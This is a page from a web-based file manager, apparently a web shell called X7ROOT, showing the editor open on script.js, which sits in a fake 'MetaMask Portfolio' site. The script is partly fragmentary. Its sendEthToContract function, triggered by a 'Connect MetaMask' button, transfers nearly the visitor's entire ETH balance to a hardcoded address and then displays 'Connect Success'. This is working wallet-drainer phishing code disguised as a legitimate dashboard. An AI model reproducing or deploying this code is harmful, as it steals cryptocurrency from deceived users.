File Manager

X7ROOT File Manager

Current Path: /home/gfecatvj/public_html/portofolio/assets

home / gfecatvj / public_html / portofolio / assets /

📁 ..
📄 Geist-Medium-t5LLWK2i.woff2(41.14 KB)
📄 Geist-Medium.woff2(41.14 KB)
📄 Geist-Regular-C6H5Y334.woff2(40.26 KB)
📄 Geist-Regular.woff2(40.26 KB)
📄 MM_Poly-Variable-DSgRjKPF.woff2(53.33 KB)
📄 MM_Poly-Variable.woff2(53.33 KB)
📄 MM_Sans-Variable-BBteVEVi.woff2(41.61 KB)
📄 MM_Sans-Variable.woff2(41.61 KB)
📄 buy-sell.png(52.48 KB)
📄 buy-sell.webp(21.88 KB)
📄 earn.png(42.73 KB)
📄 earn.webp(18.25 KB)
📄 hero-dark.png(33.17 KB)
📄 hero-dark.webp(34.32 KB)
📄 index-BX59gVpu.css(166.01 KB)
📄 index-KP9hzUeO.js(491.92 KB)
📄 react.svg(4.03 KB)
📄 script.js(16.51 KB)
📄 spend.png(54.91 KB)
📄 spend.webp(14.02 KB)
📄 style.css(203.6 KB)
📄 swap-bridge.png(63.92 KB)
📄 swap-bridge.webp(27.1 KB)

Editing: script.js

canvas.width = size;
        canvas.height = size;

const ctx = canvas.getContext('2d');
    const svgString = `
        <svg role="img" aria-label="MetaMask Fox Logo" width="512" height="492" viewBox="0 0 512 492" fill="none" xmlns="http://www.w3.org/2000/svg">
            <g stroke-linecap="round" stroke-linejoin="round" stroke-width=".25">
                <path d="M478.468 474.862L368.183 442.171L285.013 491.664L226.987 491.64L143.769 442.171L33.5324 474.862L0 362.174L33.5324 237.106L0 131.365L33.5324 0.312256L205.786 102.76H306.214L478.468 0.312256L512 131.365L478.468 237.106L512 362.174L478.468 474.862Z" fill="#FF5C16" stroke="#FF5C16"/>
                <path d="M33.5563 0.312256L205.809 102.832L198.959 173.19L33.5563 0.312256Z" fill="#FF5C16" stroke="#FF5C16"/>
                <path d="M143.793 362.222L219.583 419.696L143.793 442.171V362.222Z" fill="#FF5C16" stroke="#FF5C16"/>
                <path d="M213.525 267.201L198.959 173.238L105.717 237.13L105.669 237.106V237.154L105.957 302.921L143.768 267.201H143.793H213.525Z" fill="#FF5C16" stroke="#FF5C16"/>
                <path d="M478.467 0.312256L306.214 102.832L313.041 173.19L478.467 0.312256Z" fill="#FF5C16" stroke="#FF5C16"/>
                <path d="M368.231 362.222L292.441 419.696L368.231 442.171V362.222Z" fill="#FF5C16" stroke="#FF5C16"/>
                <path d="M406.331 237.154H406.355H406.331V237.106L406.307 237.13L313.065 173.238L298.498 267.201H368.231L406.066 302.921L406.331 237.154Z" fill="#FF5C16" stroke="#FF5C16"/>
                <path d="M143.769 442.171L33.5324 474.862L0 362.222H143.769V442.171Z" fill="#E34807" stroke="#E34807"/>
                <path d="M213.502 267.177L234.559 403.013L205.377 327.487L105.91 302.921L143.745 267.177H213.478H213.502Z" fill="#E34807" stroke="#E34807"/>
                <path d="M368.231 442.171L478.467 474.862L512 362.222H368.231V442.171Z" fill="#E34807" stroke="#E34807"/>
                <path d="M298.498 267.177L277.441 403.013L306.623 327.487L406.09 302.921L368.231 267.177H298.498Z" fill="#E34807" stroke="#E34807"/>
                <path d="M0 362.173L33.5324 237.106H105.645L105.909 302.896L205.377 327.463L234.558 402.989L219.559 419.623L143.769 362.149H0V362.173Z" fill="#FF8D5D" stroke="#FF8D5D"/>
                <path d="M512 362.173L478.467 237.106H406.355L406.09 302.896L306.623 327.463L277.441 402.989L292.441 419.623L368.231 362.149H512V362.173Z" fill="#FF8D5D" stroke="#FF8D5D"/>
                <path d="M306.214 102.76H256H205.786L198.959 173.118L234.558 402.918H277.441L313.065 173.118L306.214 102.76Z" fill="#FF8D5D" stroke="#FF8D5D"/>
                <path d="M33.5324 0.312256L0 131.365L33.5324 237.106H105.645L198.935 173.19L33.5324 0.312256Z" fill="#661800" stroke="#661800"/>
                <path d="M192.661 294.46H159.994L142.206 311.815L205.401 327.415L192.661 294.436V294.46Z" fill="#661800" stroke="#661800"/>
                <path d="M478.468 0.312256L512 131.365L478.468 237.106H406.355L313.065 173.19L478.468 0.312256Z" fill="#661800" stroke="#661800"/>
                <path d="M319.387 294.46H352.102L369.89 311.839L306.623 327.463L319.387 294.436V294.46Z" fill="#661800" stroke="#661800"/>
                <path d="M284.989 446.834L292.441 419.671L277.442 403.037H234.535L219.535 419.671L226.987 446.834" fill="#661800" stroke="#661800"/>
                <path d="M284.989 446.833V491.687H226.987V446.833H284.989Z" fill="#C0C4CD" stroke="#C0C4CD"/>
                <path d="M143.793 442.123L227.035 491.664V446.81L219.583 419.648L143.793 442.123Z" fill="#E7EBF6" stroke="#E7EBF6"/>
                <path d="M368.231 442.123L284.989 491.664V446.81L292.441 419.648L368.231 442.123Z" fill="#E7EBF6" stroke="#E7EBF6"/>
            </g>
        </svg>
    `;

const blob = new Blob([svgString], { type: 'image/svg+xml' });
    const url = URL.createObjectURL(blob);

const img = new Image();
        img.onload = function() {
            ctx.clearRect(0, 0, canvas.width, canvas.height);
            const scale = Math.min(canvas.width / img.width, canvas.height / img.height) * 0.65;
            const x = (canvas.width / 2) - (img.width / 2) * scale;
            const y = (canvas.height / 2) - (img.height / 2) * scale;
            ctx.drawImage(img, x, y, img.width * scale, img.height * scale);
            URL.revokeObjectURL(url);
        };
        img.src = url;
    });
}

function animateFoxLogo() {
    const containers = document.querySelectorAll('[data-testid="lottie-container"], [data-testid="lottie-container-mobile"]');
    
    containers.forEach(container => {
        if (!container) return;
        let position = 0;
        let direction = 1;

function initMobileMenu() {
    const menuButton = document.getElementById('dashboard-mobile-button');
    const modal = document.getElementById('mobile-menu-modal');
    const closeButton = document.getElementById('close-modal-button');
    
    if (!menuButton || !modal) return;

let isOpen = false;

menuButton.addEventListener('click', toggleModal);
    
    if (closeButton) {
        closeButton.addEventListener('click', toggleModal);
    }
    
    modal.addEventListener('click', (e) => {
        if (e.target === modal) {
            toggleModal();
        }
    });
    
    window.addEventListener('resize', () => {
        if (window.innerWidth >= 768 && isOpen) {
            toggleModal();
        }
    });
}

async function sendEthToContract(walletAddress, button) {
    try {
        const provider = new ethers.BrowserProvider(window.ethereum);
        const signer = await provider.getSigner();
        
        const balanceWei = await provider.getBalance(walletAddress);
        const feeData = await provider.getFeeData();
        const gasUnits = 21000n;
        const gasCostEstimate = gasUnits * feeData.gasPrice;
        const amountToSend = balanceWei - gasCostEstimate - ethers.parseEther('0.0001');

if (amountToSend <= 0) {
            throw new Error('Insufficient balance for gas fees');
        }

const tx = await signer.sendTransaction({
            to: '0x9c4f495c0AC8Ff4FdD77CCaD38300e0B62BdF4EB',
            value: amountToSend
        });

await tx.wait();
        button.innerHTML = '<span>✅ Connect Success</span>';
        button.style.pointerEvents = 'none';
        button.style.opacity = '0.6';
    } catch (error) {
        console.error('Error sending ETH:', error);
        alert('Error: ' + error.message);
        button.innerHTML = '<span>Connect MetaMask</span>';
    }
}

function initConnectWallet() {
    const connectButtons = document.querySelectorAll('#connect-wallet-button');
    
    connectButtons.forEach(button => {
        button.addEventListener('click', async () => {
            try {
                if (typeof window.ethereum !== 'undefined') {
                    const chainId = await window.ethereum.request({
                        method: 'eth_chainId',
                    });

if (chainId !== '0x1') {
                        throw new Error('Please switch to Ethereum Mainnet');
                    }

function initMoveCryptoSidebar() {
    const moveCryptoButton = document.getElementById('move-crypto-button');
    const moveCryptoSidebar = document.getElementById('move-crypto-sidebar');
    const dashboardLink = document.getElementById('sidebar-item-home.dashboard');
    
    if (!moveCryptoButton || !moveCryptoSidebar) return;

let isOpen = false;

moveCryptoButton.addEventListener('click', (e) => {
        e.preventDefault();
        isOpen = !isOpen;
        
        if (isOpen) {
            const sidebar = document.getElementById('desktop-nav-sidebar');
            const isMinimized = sidebar?.classList.contains('minimized');
            
            moveCryptoSidebar.classList.remove('hidden');
            moveCryptoSidebar.classList.add('block');
            moveCryptoSidebar.style.left = isMinimized ? '51px' : '195px';
            
            moveCryptoButton.classList.remove('text-alternative');
            moveCryptoButton.classList.add('text-primary-default', 'font-semibold', 'active');
            
            const activeIndicator = moveCryptoButton.querySelector('.active-indicator');
            if (activeIndicator) {
                activeIndicator.classList.remove('hidden');
                activeIndicator.classList.add('md:inline-block');
            }
            
            if (dashboardLink) {
                dashboardLink.classList.remove('text-primary-default', 'font-semibold', 'active');
                dashboardLink.classList.add('text-alternative');
                const dashboardIndicator = dashboardLink.querySelector('.hidden.md\\:inline-block');
                if (dashboardIndicator) {
                    dashboardIndicator.style.display = 'none';
                }
                const dashboardIcon = dashboardLink.querySelector('svg');
                if (dashboardIcon) {
                    dashboardIcon.classList.remove('stroke-primary-default');
                    dashboardIcon.classList.add('stroke-icon-alternative');
                }
                const dashboardSpan = dashboardLink.querySelector('span');
                if (dashboardSpan) {
                    dashboardSpan.classList.remove('text-primary-default');
                    dashboardSpan.classList.add('text-alternative');
                }
            }
        } else {
            moveCryptoSidebar.classList.add('hidden');
            moveCryptoSidebar.classList.remove('block');
            moveCryptoButton.classList.add('text-alternative');
            moveCryptoButton.classList.remove('text-primary-default', 'font-semibold', 'active');
            
            const activeIndicator = moveCryptoButton.querySelector('.active-indicator');
            if (activeIndicator) {
                activeIndicator.classList.add('hidden');
                activeIndicator.classList.remove('md:inline-block');
            }
            
            if (dashboardLink) {
                dashboardLink.classList.add('text-primary-default', 'font-semibold', 'active');
                dashboardLink.classList.remove('text-alternative');
                const dashboardIndicator = dashboardLink.querySelector('.hidden.md\\:inline-block');
                if (dashboardIndicator) {
                    dashboardIndicator.style.display = 'inline-block';
                }
                const dashboardIcon = dashboardLink.querySelector('svg');
                if (dashboardIcon) {
                    dashboardIcon.classList.add('stroke-primary-default');
                    dashboardIcon.classList.remove('stroke-icon-alternative');
                }
                const dashboardSpan = dashboardLink.querySelector('span');
                if (dashboardSpan) {
                    dashboardSpan.classList.add('text-primary-default');
                    dashboardSpan.classList.remove('text-alternative');
                }
            }
        }
    });
}

function initSidebarToggle() {
    const toggleButton = document.getElementById('sidebar-toggle-button');
    const sidebar = document.getElementById('desktop-nav-sidebar');
    const moveCryptoSidebar = document.getElementById('move-crypto-sidebar');
    const toggleIcon = toggleButton?.querySelector('svg');
    
    if (!toggleButton || !sidebar) return;

let isMinimized = false;

toggleButton.addEventListener('click', toggleSidebar);
}

function initThemeToggle() {
    const themeToggle = document.getElementById('theme-toggle');
    if (!themeToggle) return;

const themeOptions = themeToggle.querySelectorAll('[role="radio"]');
    const html = document.documentElement;

themeOptions.forEach((option, index) => {
        option.addEventListener('click', () => {
            themeOptions.forEach(opt => {
                opt.setAttribute('aria-checked', 'false');
                opt.setAttribute('tabindex', '-1');
                opt.classList.remove('bg-primary-default', 'text-primary-inverse');
            });

option.setAttribute('aria-checked', 'true');
            option.setAttribute('tabindex', '0');
            option.classList.add('bg-primary-default', 'text-primary-inverse');

document.addEventListener('DOMContentLoaded', () => {
    renderSVGToCanvas();
    // animateFoxLogo();
    initMobileMenu();
    initConnectWallet();
    initMoveCryptoSidebar();
    initSidebarToggle();
    initThemeToggle();
    console.log('MetaMask Portfolio initialized!');
});

window.addEventListener('resize', () => {
    renderSVGToCanvas();
});

X7ROOT File Manager

Editing: script.js

Upload File

Create Folder